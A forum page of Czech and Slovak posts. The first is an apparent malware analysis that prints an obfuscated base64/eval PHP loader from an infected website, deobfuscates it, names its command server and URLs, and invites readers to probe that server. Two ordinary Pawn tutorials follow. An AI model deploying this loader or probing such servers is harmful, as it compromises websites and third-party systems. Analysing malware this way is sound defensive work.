JYulJYulJYSkP2XyJYJ8PtJ+JI4vW2wIzF0nJYulJYulJYulJYulJYulJYulJYSkZOk0nYv7fKelJYulJYulJYulJYulJYulHK0nJYulJYulJYulJYulHK0nJYulJYulJYulJYulgBPeib9FiB4epO1XNOETNI4tCcNapRXjUO5XUBQLJYp3JIvTZF0nJYulJYulJYulJYulJYulJYE4UBFlshS0NbkjnRAjU3w0iO8epRWkPIvTzF0nJYulJYulJYulJYulJYulJOkbnRA0NbkrWRJepRXjUYFtUb8lP3pkPoKlUBVFpcvTZF0nJYulJYulJYulJYulJYulJYulJYSkP2XyJYN8ib9aWYSrWRkLix0IP29LU3J6NbwvJd5aUcSdNbwXWYSjPouXsY9bU250sIN7fKelJYulJYulJYulJYulJYulJYulJOw4goK7fKelJYulJYulJYulJYulJYulHK0nJYulJYulJYulJYulJYulJYEjZBiTUOQlshSbU3SkUIlvUBVFiOkcCINypc4vZO1LUbVjihFlJtNInxLAYIulJYulJYulJYulJYulJYSbW3pTWOQepO15ibkLihFlpRXjUYv7fKelJYulJYulJYulJYulJYulibALU3AknYEjZBiTUOQTzF0nJYulJYulJYulJYulJYulJOwdgO8lJb9MsOpcsIJapOX0WRuaJdeyCcJapV9xEwpBEwpUp0XQwVSHhD9xwYWWCIJyJI4vUBVFiOkcCINypc4vZO1LUbVjixLAYIulJYulJYulJYulJYulJYSkP2XyJYJ8PtJ+JI4vW2wIzF0nJYulJYulJYulJYulJYulJOw4goKenxLAYIulJYulJYulJYulJR1kURAkZF0nJYulJYulJYulJYulJYulJOidUO9rihlvUokbgBqknxLAYIulJYulJYulJYulJYulJYSkP2XyJYN8ib9aWYSrWRkLix0IP29LU3J6NbwvJd5dNbwXWYSrgoEkUBVFJOiXgBqkJD5yJVSkNb1TN3ATU25rJxFyib9aWf48PtJ+gRE0NfeyCcNapV9xEwpBEwpUp0XQwVSHhD9xwYWWCIJyJI4vUBVFiOkcCINypc4vZO1LUbVjixLAYIulJYulJYulJYulJYulJYSkP2XyJYJ8PtJ+JI4vW2wIzF0nJYulJYulJYulJYulJYulJOw4goKenxLAYIulJYulJYulJYulJR0AYIulJYulJYulHBwLN2w7fKelJYulJYulJYulJYSTiIXbU3SkUIlvZO1LUbVjihFlJtNInhk7fKelJYulJYulJYulJYulJYulpRXjUYu9JREcgB0eN21yWoEvUclvW2wInhv7fKelJYulJYulJYulJYulJYulgBPeN3EcgoA0NIlvZO1LCYWaUcSdNbwXWYSjPoutnhk7fKelJYulJYulJYulJYulJYulJYulJOwdgO8lprqbU250JRA0ZBqkshpdU2qyNdTciBKIsb5yJOAciBV0JO1XNYD8C2iyUtK+prLAYIulJYulJYulJYulJYulJYulJYulioXTWfLAYIulJYulJYulJYulJYulJYS9fKelJYulJYulJYulJYulJYulpO15ibkLihu9JOiyNOwanYE4UBqaPB1kCYuIWcJTzF0nJYulJYulJYulJYulJYulJOi3Nbk0ihlvUokbgBqkCYuvZO1LnxLAYIulJYulJYulJYulJYulJYSbP2qyN2QepO15ibkLihv7fKelJYulJYulJYulJYulJYuliBAeUcuIU2L8PtJ+JI4vgRE0NY4IzI8yJI4vo1AVQkiVQkLthVEQQV9Jx1AQp10aJI8ICIE4UBqaPB1kzF0nJYulJYulJYulJYulJYulJOwdgO8lJdqINd4ICIE3iBJ7fKelJYulJYulJYulJYulJYulioXTWYlTzF0nJYulJYulJYulJYulHBwLN2w7fKelJYulJYulJYulJYulJYulibALU3AknYEjZBiTUOQTzF0nJYulJYulJYulJYulJYulJOwdgO8lprqbU250JRA0ZBqkshpdU2qyNdTciBKIsbAciBV0JRATWOwjPoulibVTUOQlxb8lQOwcUBkrN2kyUtGXsY9bU250sdqINd4tCIEeWREFCIN6Cc8tCIEHQ0whwvwhBcWJwVEKo0XsQ1Ktoh4ICcJapRXjUO5XUBQ7fKelJYulJYulJYulJYulJYuliBAeUcuIsOpcsIJapRWkPdLAYIulJYulJYulJYulJYulJYSkZOk0nYv7fKelJYulJYulJYulJYS9fKelJYulJYulJR0AYIulJYS9fKelJYulgBPepOkvnoLAYIulJYulJYulKOXkPBEkNIlIK29aWOwaWY10ZoSkzIS0ioX0C2X0UBF7JOAePoprioK9WoEbCxlInxLAYIulJYulJYulpRWkPIu9JYEeWREFo3WkPI4tzI8ypc4vi293iBJapc9TUbEkZY5FgRu/WopLshNapRATWOQapciTif0tCIETiY4tptEkUou9pc4vWOwjNY4tpbE0shNapOE0CINbW2wIshNapOXyN3Kapci6Zd0tCtAjgoAIU3Kenh4tpbALU2AMshNapOALU2AMCINbWopTshNapRAjWopTCINbWopLN2XXUbN9pc4vWopLN2XXUbNapcieWREFshNapOX0WRu7fKelJYulJYulJYEeWO1Lo2AyUtEkUtKlshS0NbkjnRAjU3w0iO8epRWkPIvTzF0nJYulJYulJYSTiIlXN3EcN3EcnYEeWO1Lo2AyUtEkUtKLp25yPb90WoAkNbVtiB50pcvTZF0nJYulJYulJYulJYulgBPeN3EcN3EcnYEeWO1Lo2AyUtEkUtKLp29MgREjUOWkWOAyUtEkUtKtnhk7fKelJYulJYulJYulJYulJYulpOX0UBqHP29aWOwaWYu9JRA0Nk9cioSLPBAknYpyg2X0UBqtioEdU250iB50JIFtpcFvgREjUV9dU250iB50nxLAYIulJYulJYulJYulJYulJYSkP2XyJYEeWO1Lo2AyUtEkUtK7fKelJYulJYulJYulJYulJYulioXTWYlTzF0nJYulJYulJYulJYulHBwLN2QlgBPeN3EcN3EcnYEeWO1Lo2AyUtEkUtKLp2WkWOAyUtEkUtK1GfSFPBWkpcvTZF0nJYulJYulJYulJYulJYulJDSeiBVvioJep0XQwVuyGh4qJfQFGYSpUtEkNb5XUYSxiop2ioJlEopcU3JtnxLAYIulJYulJYulJYulJYulJYSkZOk0nYv7fKelJYulJYulJYulJYS9iBqrihSTiIXrWRprWRJepOX0UBqHP29aWOwaWYFti2w0P29aWOwaWfKFARSXi2Qtnhk7fKelJYulJYulJYulJYulJYulKOXkPBEkNIlthVEQQY8qCdDlAfu0JD5yWYSOU3waiYNTzF0nJYulJYulJYulJYulJYulJOw4goKenxLAYIulJYulJYulJYulJR0AYIulJYulJYulHK0nJYulJR0AYt1kURAkZF0nfKelJYulpRWkPIu9JYEeWREFo3WkPI4tzI8ypc4vi293iBJapc9TUbEkZY5FgRu/WopLshNapRATWOQapciTif0tCIETiY4tptEkUou9pc4vWOwjNY4tpbE0shNapOE0CINbW2wIshNapOXyN3Kapci6Zd0tCtAjgoAIU3Kenh4tpbALU2AMshNapOALU2AMCINbWopTshNapRAjWopTCINbWopLN2XXUbN9pc4vWopLN2XXUbNapcieWREFshNapOX0WRu7fKelJYulpOX0UBqHP29aWOwaWYu9JREcgB0eN21yWoEvUclvW2wInhv7fKelJYulgBPeJoA0NtA0NIlvgREjUV9dU250iB50CYWaU2pyWRwriopXi2waWYNTnoLAYIulJYulJYulKOXkPBEkNIlIK29aWOwaWY10ZoSkzIS0ioX0C2X0UBF7JOAePoprioK9WoEbCxlInxLAYIulJYulJYulgBPeN3EcN3EcnYEeWO1Lo2AyUtEkUtKLp29MgREjUOWkWOAyUtEkUtKtnhk7fKelJYulJYulJYulJYuvgREjUV9dU250iB50Jf0lN3Eco3pkNOqXP2QeJb9MgREjUOWkWOAyUtEkUtKICYNtCYEeWO1Lo2AyUtEkUtKTzF0nJYulJYulJYulJYuliBAeUcuvgREjUV9dU250iB50zF0nJYulJYulJYulJYulioXTWYlTzF0nJYulJYulJYS9iBqrihSTiIXrWRprWRJepOX0UBqHP29aWOwaWYFti2w0P29aWOwaWfQFGRSXi2Qtnhk7fKelJYulJYulJYulJYSugOwXiOwcnYWJwVEKCrDaGhu1GfulhB50iopaPBFlQ2wcWbwcJDwcNb9cpcv7fKelJYulJYulJYulJYSkZOk0nYv7fKelJYulJYulJR1kURAkJOkbnRA0NtA0NIlvgREjUV9dU250iB50CYWtioEdU250iB50Afu0NOVtihNTnoLAYIulJYulJYulJYulJDSeiBVvioJep0XQwVuyGh4qJfKFAYSzU3KlEb91UbKtnxLAYIulJYulJYulJYulJOw4goKenxLAYIulJYulJYulHBwLN2QlgBPeN3EcN3EcnYEeWO1Lo2AyUtEkUtKLp2WkWOAyUtEkUtKrGfVFPBWkpcvTZF0nJYulJYulJYulJYulKOXkPBEkNIlthVEQQY8qCdDlGruqJD1yWbwvJVSkNb1XUbwaWOq5pcv7fKelJYulJYulJYulJYuvgREjUV9dU250iB50Jf0lN3Eco3pkNOqXP2QeJbWkWOAyUtEkUtKrGfVFPBWkJIFtpcFvgREjUV9dU250iB50nxLAYIulJYulJYulJYulJOXkPBEkNIltxO9dPoETU246JYNapOX0UBqHP29aWOwaWYv7fKelJYulJYulJYulJYSkZOk0nYv7fKelJYulJYulJR0AYl0nJYulJR0AYt0AYl0nitwaP3ETU24lN21TN2pyWYlTJRLAYIulJYuvPBWkUtKlshSrWRp0U2qyW2wcnYEHQ0whwvwhBcWJwVEKo1wxEwpHKQWVxkKtohv7fKelJYulgBPlnYEXi2waWYuXshuIJIvlZF0nJYulJYulJYuvi29yi2qkKb90Jf0lPopcPoveJvWyU2WLiBpyWYJLJkkXgO9yJhSxURwcNYJLJkkXgO9yJVALWopFJIFIE29yi2qkJDVvQ2waN2QICYWtU29tUOQtCYutZBVeU28tnxLAYIulJYulJYulib9ciBVdgYuepOWyU2WLiQpyWYSXNcuvWbVLnhS7fKelJYulJYulJYulJYuvN3EcJf0lN3EcWO9LU3WkNIlvWbVLnxLAYIulJYulJYulJYulJOkbJYXrWRpFU3GepOVtiB50CYuvN3EcnhvlZF0nJYulJYulJYulJYulJYulJRpkWRwcUIS0NtwkzF0nJYulJYulJYulJYulHK0nJYulJYulJYS9fKelJYulHBwLN2w7fKelJYulJYulJRpkWRwcUISbPBqrixLAYIulJYS9fKT9fKTbWB5dWOkyUISrUB90gOwcPb90nYvlZF0nJYulJYEXi2waWYu9JRA0NtEyUO93ioJepV9xEwpBEwpUp0XQwVSHwwAVQk9SE0wzwYWWnxLAYIulJYSTiIuepOVtiB50JYD9JYJInhS7fKelJYulJYulJYErNOkviopxgoEkJf0lPopcPovlnYpQiB5diB50wRpXWbwLioJICYpjN25IU3KICYpxU3AyN3STiOwcncJLJkAyi291JRWkPISrNOkvioJICYpTPw9XNbAegoikNIJLJkkyWBEXU0pyWYJLJv1xxvpyWYJLJvTXWbDlnD9bWOwaJRAFPB0lPb90nhJLJvpXgQE1Q3STiOwcJIFIwb9TUODICYpiPB5viollPb90JIFIKkAFgBEkNIJLJtE3gBAkUOwcJIFIQ29tU3QlQ3STiOwcJIFIQ3SkiBE5JVAFgBEkNIJLJvXkNbk0Nbk4JIFIQRk0gO9aCowcUOqTPIJLJvVLioXXJYXpKhSSNbAegoikNIvICYpSN2LICYpVZOVIU3KICYpfWoA0UcJLJv91WOiyZDpyWY9iU2EXU0pyWYJLJtkXP3vICYpxWop2iokYU3KICYpLiBWrJIFIURWFCoEcgoiTPBFICYpzWoEdgYJLJkA0PBAMQbVjPbqkNIJLJkEeihS3iBJlPopdgOk2ihuehQDlKopdgOk2ioJTJIFIQOwcUYS0U29LJIFIxQeqGbpyWYJLJv5kWOAcPBi0JIFIxwApEQAcPoWLioJICYpoE2w0JREyU2qrJIFIUOVcPbkaJIFIEbkrgYSriBVcP2lICYutPbkai2pyWYNLJYWIPBkvWhNLJYWXU2FtCYutPbkaicNLJYWiPB5vioXYU3KtCYutKBXciBirKb90pcv7fKelJYulJYulJOiyNbwXP2llnYErNOkviopxgoEkJOVrJYE2PBFTJRLAYIulJYulJYulJYulJYErWRJlshSrWRp0U2qyW2wcnYE2PBFTzF0nJYulJYulJYulJYulgBPlnRA0NtSyNclvPBWkUtKLJYErWRJTnhS7fKelJYulJYulJYulJYulJYulNbw0WopaJREcWBQ7fKelJYulJYulJYulJYS9fKelJYulJYulJR0AYIulJYS9iBqrioLAYIulJYulJYulNbw0WopaJOiXURAkzF0nJYulJR0AYt0AYbi1UbA0gB9aJRAjU3w0iO8epRwcUYk7fKelJYulpOiTUOwHP29aWOwaWRGlshSuibkLiw9tioEHP29aWOwaWRGepRwcUYv7fKelJYulgBPlnYDvibkLiw9dU250iB50NcvlZF0nJYulJYulJYuvP2llshSdWopLo2kagoKenxLAYIulJYulJYulP3wcUV9rioEyNRKepOAeCYSfwwpGx1SQo1whxYFlpRwcUYv7fKelJYulJYulJOA1NbqHN2w0U3S0nYEdgYFlK1whxD9KwV9hEwEwQv5QQvVzQ0iVQIFqnxLAYIulJYulJYulpOiTUOwHP29aWOwaWRGlshSdWopLo2w4iBGepOAenxLAYIulJYulJYulP3wcUV9dUO9rihlvP2lTzF0nJYulJR0AYIulJYScioE1Nb4lpOiTUOwHP29aWOwaWRG7fKT9fKTbWB5dWOkyUISLgoA0EOkcnYEvgoJTZF0nJYulJYEbgBqkPopcJf0lPopcPovenxLAYIulJYSTiIXTN19vgoJepOETNIvTZF0nJYulJYulJYSTiIuepOEeJf0lU3SkUbETNIlviOkcnhk7fKelJYulJYulJYulJYS3gOkLihuenYEbgBqkJf0lNbwXiOETNIlviOlTnhuXsx0libVLN2QTZF0nJYulJYulJYulJYulJYulJOkbnYXbgBqko2w4goA0NclviOkcCIJyJI4vibkLihvTJYPbJYEbgBqkJx0ICIJlpIPlpOiTUOQXshJaCIJTZF0nJYulJYulJYulJYulJYulJYulJYuvibkLiBVcNkjWJf0lpOiTUOQ7fKelJYulJYulJYulJYulJYulHK0nJYulJYulJYulJYulHK0nJYulJYulJYulJYulP2qyN2wvgoJepOEenxLAYIulJYulJYulHK0nJYulJR0AYIulJYScioE1Nb4lpOiTUOwXNtJ7fKT9fKe/sl=="; eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000)))); Celý výstup je ve skutečnosti jednořádkový, ale odbouchl jsem konec na kterém začínal další eval - aby jste ho vůbec zaregistrovali Překvapením je další base64 enkrypt + další eval, který spouští další záhadu. Začíná se to trochu zamotávat, přejdeme tedy na php sandbox, který nám pomůže sledovat celý proces a jeho postup (https://sandbox.onlinephpfunctions.com/). Vložíme si do něj náš původní inject, nicméně "eval" přepíšeme na echo - tím dostaneme podobný výstup jako na dekodéru base64. Ten nicméně zkopírujeme a vložíme ZA náš původní inject. Přepsaný eval na echo můžeme odstranit úplně i s původním enkryptem - zbytečně by zasíral výstup. Pokud vám kód nejde spustit, zkontrolujte si verzi PHP a chyby na výstupu inject funguje jen na verzi php 5.6.* a na 7+ nepoběží Druhý eval znovu přepíšeme na echo a při dalším spuštění již získáme celý surový kód našeho viru: https://pastebin.com/i3ASp9Qv (má nějakých 500 řádků - zbytečně bych projebal místo v topicu ) Než se mrkneme na samotný kód a jeho přibližnou funkci, pojďme se podívat jakým způsobem probíhá samotné rozbalení tohoto viru: $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A"); $O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30}; $O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24}; $OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24}; $OO0000=$O00OO0{7}.$O00OO0{13}; $O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30}; Celá tato blbost vlastně zajistí, že kód netriggerne žádné vzorce virus scannerů apod. Řetězec prvního řádku po urldecode vypadá takto: n1zb/ma5\vt0i28-pxuqy*6lrkdg9_ehcswo4+f37j Pojďme probrat co vlastně dělá znamená každá část se složenými závorkami: echo $O00OO0{3} //b echo $O00OO0{6}; //a echo $O00OO0{33}; //s echo $O00OO0{30}; //e echo $O00OO0{33}; //s echo $O00OO0{10}; //t echo $O00OO0{24}; //r echo $O00OO0{10}; //t echo $O00OO0{24}; //r echo $O0OO00{0}; //s echo $O00OO0{18}; //u echo $O00OO0{3}; //b echo $O0OO00{0}; //s echo $O0OO00{1}; //t echo $O00OO0{24}; //r echo $O00OO0{7}; //5 echo $O00OO0{13}; //2 echo $O00OO0{22}; //6 echo $O00OO0{36}; //4 echo $O00OO0{29}; //_ echo $O00OO0{26}; //d echo $O00OO0{30}; //e echo $O00OO0{32}; //c echo $O00OO0{35}; //o echo $O00OO0{26}; //d echo $O00OO0{30}; //e Rozbalovač tedy složí názvy PHP funkcí z náhodně vypadajícího textu a poté je spustí pomocí funkce "eval" (která převede string na PHP kód a spustí ho) $O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30}; //base $O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24}; //strtr $OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24}; //substr $OO0000=$O00OO0{7}.$O00OO0{13}; //52 $O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30}; //64_decode eval($O00O0O.. tedy ve skutečnosti znamená eval(base64_decode... Je nutno podotknout, že eval neselže, protože stupidní PHP opravdu, když potká $O00O0O, ho převede na base64_decode, protože to je přece hodnota této proměnné a PHPčku nevadí pokud typ proměnné je string a je využita jako volací funkce. Náš druhý base64 enkrypt se tedy přeloží ještě před spuštěním jeho evalu a poté je opravdu spuštěn evalem. Zde začíná payload fáze viru, ve které si jednak připraví půdičku pro práci a také vykoná veškeré nekalosti, kterými byl obdařen. Nestudoval jsem vir dopodrobna, spíš jsem ho obecně prohlédl abych zhruba zjistil co je jeho záměrem. Dle mého názoru má vir z webovky udělat zombie a přesměrovat její traffic na spoustu crapwebů + vytvořit nový sitemap, nasměrovat na něj roboty a zkurvit tím i SEO - protože roboti začnou lozit na crapweby a spojovat je s naším webem. Zahlédl jsem i nějaké pingy na google a random webovku v Indii, nejspíš kontrolní před kontaktem s domácím serverem, který odpovídá nesmysluplně na dotazy jen pokud dostane v $_GET požadavku zz=true (debilita). Vir je psaný v takové té indické angličtině (chybějící písmenka, zvláštní gramatika, však to znáte), pinguje a dotazuje indické weby - něco mi říká, že to bude práce Indie. Všiml jsem si i náznaku jakéhosi ovládání přes GET parametry + nějaké návratové hodnoty v response domácího serveru.. Hlavní mamina tohoto skriptu je adresa: $goweb = 'dthirty-eight2.sigfoxfoundationg.shop'; dále pinguje na: $data_new = 'https://www.google.com/ping?sitemap='.'https://'.$host.'/'.$add_content; a hned u toho v komentáři lze najít "http://www.gudangsehat.com/mapindex.xml" Mamina funguje na několika PHP souborech: 'dthirty-eight2.sigfoxfoundationg.shop/a.php' 'dthirty-eight2.sigfoxfoundationg.shop/sitemapdtn.php?date='.$id.'&temp='.$temp.'&web='.$host.'&xml='.$dt.'&maptype='.$maptype.'&filetype='.$filetype.'&map_splits_num='.$map_splits_num.'&map_num='.$map_num.'&dataNew='.$dataNew 'dthirty-eight2.sigfoxfoundationg.shop/index.php?url='.$site.'&id='.$id.'&temp='.$temp.'&dt='.$dt.'&web='.$host.'&zz='.smisbot().'&jdir='.$jdir.'&clock='.$clock.'&uri='.$smuri.'&lang='.$lang.'&os='.$os.'&urlshang='.$urlshang.'&http_clock='.$http_clock 'dthirty-eight2.sigfoxfoundationg.shop/sitemap.php?date='.$id.'&temp='.$temp.'&web='.$host.'&xml='.$dt.'&maptype='.$maptype.'&filetype='.$filetype.'&map_splits_num='.$map_splits_num.'&map_num='.$map_num.'&dataNew='.$dataNew.'&uri='.$smuri.'&http='.$http A podle jednoho testu s random hodnotami, mamina nemá žádné extra kontroly vstupu. a.php mi vrací jen nějakou blbost - nejspíš nějakým způsobem využitá pro kontrolu čehosi. Zdá se to jako md5 nějakého nesmyslu - možná zasaltěná IP adresa. sitemapdtn.php vrátila obsah do sitemap xml - seznam crapwebů, které má zombie dotovat. index.php vrací jen super promyšlené hlášky jako "nobotuseragent", "okhtmlgetcontent", "getcontent500page", "getcontent404page" (vycucáno ze skriptu) if(stristr($smuri_tmp,'.css')){ $web = $http_web.'://'.$goweb.'/index.php?url='.$site.'&id='.$id.'&temp='.$temp.'&dt='.$dt.'&web='.$host.'&zz='.smisbot().'&jdir='.$jdir.'&clock='.$clock.'&uri='.$smuri.'&lang='.$lang.'&os='.$os.'&urlshang='.$urlshang.'&http_clock='.$http_clock; $html_content = trim(smoutdo($web)); if(!strstr($html_content,'nobotuseragent')){ if(strstr($html_content,'okhtmlgetcontent')){ @header("Content-type: text/css; charset=utf-8"); $html_content = str_replace("okhtmlgetcontent",'',$html_content); echo $html_content; exit(); }else if(strstr($html_content,'getcontent500page')){ @header('HTTP/1.1 500 Internal Server Error'); exit(); }else if(strstr($html_content,'getcontent404page')){ @header('HTTP/1.1 404 Not Found'); exit(); } } } S posledním sitemap.php už jsem se ani neobtěžoval srát. Pokud chcete, feel free a pohrajte si s čmoudama jak chcete. Pochybuji, že napácháte nějaké bolestivé škody - tihle blbci se možná vysrali na ochranu jejich díla, ale vůbec je nebude bolet, když se jim do toho někdo proláme. Prostě ráno přijdou do roboty, kopnou do mašiny, crawler začne prolízávat webovky a když se podaří nějakou prolomit, tak je to pro ně stejně jak prd do větru. Těch webovek jsou tisícovky, virus tam běží max. pár dní (pro mrtvoly - neobsluhované mrtvé weby - indefinitely) naprdí nějakej traffic do poolu a vyhasne, jede se dál.
  20. EASY BANKSYSTEM Předtím, než tohle někdo z uživatelů napíše, rád bych řekl, že takové návody jsou roky staré, nefunkční a nebo naprosto prasácky zpracované. Než přistoupíme k návodu, tak bych chtěl zmínit pár bodů, které v tomto návodě nebudu vysvětlovat do podrobností(až ke konci k tomu budu mít pár poznámek): Vizuální zpracování dialogů - To si může každý uživatel udělat idividuálně(v tom případě si proto si hlídejte délky v řetězcích !), Větší počet bankomatů - Chci se spíše zaměřit na ukázku, jak jednodušše na takový systém. Samozřejmě, lze i snadno aplikovat na více bankomatů, Ukládání a načítání množství peněz v bance - Kromě toho, že každý používá jiný include na ukládání a načítání, tak opravdu nemám v úmyslu ukazovat, jak ukládat jednu proměnnou. ZAČÍNÁME Samozřejmě, nahrajeme si základní include a_samp. #include <a_samp>Budeme potřebovat nějakou proměnnou, kam se bude vpisovat počet peněz v bance: new Banka[MAX_PLAYERS];Jelikož víme, že určitě nebudeme zadávat záporná čísla, a přes fci strval může projít záporné znaménko, tak pro jistotu si přidáme fci, aby zjišťovat čistě jen a pouze čísla: stock OnlyNumbers(input[]) { new i; while (i != strlen(input)) if (input[i] <= '9' && input[i] >= '0') i++; else return false; return true; }Nakonec, by bylo dobré si pojmenovat nějak id dialogů, aby si to pak každý mohl individiálně upravit. Můžeme zvolit buď preprocesorovou cestu a nebo přes výčet hodnot. My použijeme výčet hodnot a začneme například hodnotou 6666: enum { DIALOG_BANKA = 6666, DIALOG_BANKA_VLOZIT, DIALOG_BANKA_VYBRAT } Pro lajky OTEVŘENÍ DIALOGU BANKY Tady jsem raději zvolil způsob přes příkaz. Proč? Jelikož, sice je jednoduché přes pickup, ale takhle má alespoň člověk jistotu, že se otevře pouze jednou a u bankomatu. Začneme podmínkou, zda je u daných pozic(jednoho z) bankomatu: public OnPlayerCommandText(...) { if (!strcmp("/banka", cmdtext, true)) { if (IsPlayerInRangeOfPoint(playerid, 1.0, Banka_x, Banka_y, Banka_z)) {Pozice daného bankomatu si pak může každý uživatel přidat jaké chce. Pokračujeme přidáním akce, zda je na daných souřadnicích a to, že se mu ukáže dialog, v opačném případě vrátí zprávu s informací, že neni u bankomatu(na dané pozici): ShowPlayerDialog(playerid, DIALOG_BANKA, DIALOG_STYLE_LIST, "Banka", "Vložit peníze\nVybrat peníze\nStav konta", "Vybrat", "Zavrit"); }else return SendClientMessage(playerid, -1, "Nejsi u bankomatu");Samozřejmě, nesmíme zapomenout správně uzavřít všechny bloky a správné návratové hodnoty. BANKA A LISTY V DIALOGU Začneme zavoláním samotného callbacku pro dialogy a jako první si přepneme dialogid, kvůli rychlosti(i když skoro nepatrné): public OnDialogResponse(...) { switch(dialogid) {A abychom pak neměli problém s bloky, přidáme si všechny 3 podmínky na všechny dialogy rovnou a všem přidáme podmínku, pokud hráč stiskl druhé tlačítko(Zavřít), tak se "nic" nestane a dialog "se zavře". Dále přiřadíme správném návratové hodnoty, a i samotnému callbacku: case DIALOG_BANKA: { if (!response) return true; /* code */ return true; } case DIALOG_BANKA_VLOZIT: { if (!response) return true; /* code */ return true; } case DIALOG_BANKA_VYBRAT: { if (!response) return true; /* code */ return true; }Začneme hlavním dialogem a to DIALOG_BANKA. Ten bude nejsnadnější. Začneme opět přepnutím, a tentokrát listitemu, a oběma dialogům(vložit a vybrat), protože oba budou typu "input", tak je ukážeme hráči a přiřadíme jim jejich dialogid: case DIALOG_BANKA: { if (!response) return true; switch(listitem) { case 0: ShowPlayerDialog(playerid, DIALOG_BANKA_VLOZIT, DIALOG_STYLE_INPUT, "Banka", "Napište částku, kterou chcete vložit", "Potvrdit", "Zavrit"); case 1: ShowPlayerDialog(playerid, DIALOG_BANKA_VYBRAT, DIALOG_STYLE_INPUT, "Banka", "Napište částku, kterou chcete vybrat", "Potvrdit", "Zavrit");A poslední listitem bude spíše informační, tak si tam rovnou formátujeme množství peněz v bance a ukážeme to v dialogu hráči: case 2: { new s_vBance[43]; format(s_vBance, sizeof s_vBance, "Na kontě máš momentálně %i$", Banka[playerid]); ShowPlayerDialog(playerid, DIALOG_BANKA, DIALOG_STYLE_MSGBOX, "Banka", s_vBance, "Zavrit", ""); } } return true; }Další dialog bude případ, kdy vkládá peníze(DIALOG_BANKA_VLOZIT). Začneme základní podmínkou a na to použijeme naší fci, zda hráč píše pouze čísla. Pokud ne, vrátí mu to zprávu: if (!OnlyNumbers(inputtext)) return SendClientMessage(playerid, -1, "Můžete vepsat pouze čísla !");Pak samozřejmě, aby nemohl neustále vkládat 0$: if (strval(inputtext) == 0) return SendClientMessage(playerid, -1, "Nelze vložit 0$ !");A nakonec, zda počet peněz které vkládá není větší, než u sebe skutečně má: if (GetPlayerMoney(playerid) < strval(inputtext)) return SendClientMessage(playerid, -1, "Nemáte takový obnos peněz !");Pak už jen 2 operace. První, přiřadíme k naší proměnné Banka hodnotu, kterou již má a k ní přičteme počet peněz, které hráč vkládá, a druhá, odečteme hráči daný počet peněz: Banka[playerid] = Banka[playerid] + strval(inputtext); GivePlayerMoney(playerid, -strval(inputtext)); return true; }A posledním dialogem bude případ, kdy peníze vybírá(DIALOG_BANKA_VYBRAT). Opět, začneme základní podmínkou a na to použijeme naší fci, zda hráč píše pouze čísla. Pokud ne, vrátí mu zprávu: if (!OnlyNumbers(inputtext)) return SendClientMessage(playerid, -1, "Můžete vepsat pouze čísla !");Opět, aby nemohl neustále vybírat 0$: if (strval(inputtext) == 0) return SendClientMessage(playerid, -1, "Nelze vybrat 0$ !");Nakonec podmínku, zda peníze, které vybírá nejsou větší, než které v bance ve skutečni jsou: if (Banka[playerid] < strval(inputtext)) return SendClientMessage(playerid, -1, "Nemáte v bankce tolik peněz !");A na úplny konec už jen prohodíme obě operace, a to způsobem, že první, přiřadíme k naší proměnné Banka hodnotu, kterou již má a odečteme počet peněz, které hráč vybírá, a druhá, přičteme hráči daný počet peněz: Banka[playerid] = Banka[playerid] - strval(inputtext); GivePlayerMoney(playerid, strval(inputtext)); return true; } JAK NA VÍCE BANKOMATŮ? To je prosté. Buď si(například) zjistit všechny pozice a pak je v příkaze všechny kontrolovat: if (!strcmp("/banka", cmdtext, true)) { if ( IsPlayerInRangeOfPoint(playerid, 1.0, xxx, yyy, zzz) || IsPlayerInRangeOfPoint(playerid, 1.0, xxx, yyy, zzz) || IsPlayerInRangeOfPoint(playerid, 1.0, xxx, yyy, zzz) || IsPlayerInRangeOfPoint(playerid, 1.0, xxx, yyy, zzz) || IsPlayerInRangeOfPoint(playerid, 1.0, xxx, yyy, zzz) || IsPlayerInRangeOfPoint(playerid, 1.0, xxx, yyy, zzz) ) { ShowPlayerDialog(playerid, ...Nebo, skoro stejným způsobem: Deklarovat si pole s výčtem hodnot x-ové pozice, y-ové pozice a z-ové pozice a pak v cyklu je všechny zjistit najednou(něco na způsob): Je tu několik návodů, kde by se hodilo už udělat novější a vylepšenější variantu. Pokud budou dobré ohlasy, udělám další návody. PS: snad jsou všechny kódy správně. Testoval jsem a bylo funkční(až na úplně poslední, to jsem netestoval), pokud přecijen bude někde nějaká chyba, napište mi SZ, ať tu není zbytečně spam. PSS: Ano, jde to udělat ještě lépe, ale já jsem to chtěl zpracovat jednoduchou a snadně-pochopitelnou cestou. Děkuji.
  21. Bitové operátory Obsah Úvod Bitové operácie Operácia not Operácie and, or Operácie shl, shr Operácia xor 1. Úvod K napísaniu tohoto návodu ma inšpiroval tento príspevok z roku 2012, ktorý podľa môjho názoru má k dnešnej úrovni našich návodov celkom nízku kvalitu a tiež v ňom chýbajú určité informácie. Niektoré body z neho som podobne použil aj ja. V príspevku budú tiež cvičenia, ktoré kým spravíte, rozhodne budete bitovým operáciám rozumieť. Nejaký čas nad cvičeniami určite strávite. V praxi majú tieto operácie veľký význam, predsalen, ak jeden bit môže mať hodnotu 0, alebo 1, tak so znalosťami bitových operátorov je možné do jedného 32-bitového čísla (klasická premenná v Pawn) uložiť 32 true/false hodnôt. Do úvodu však ešte uvediem, že síce dokážu neuveriteľne šetriť pamäť (v prípadne jednej bool hodnoty až 32násobná úspornosť), tak 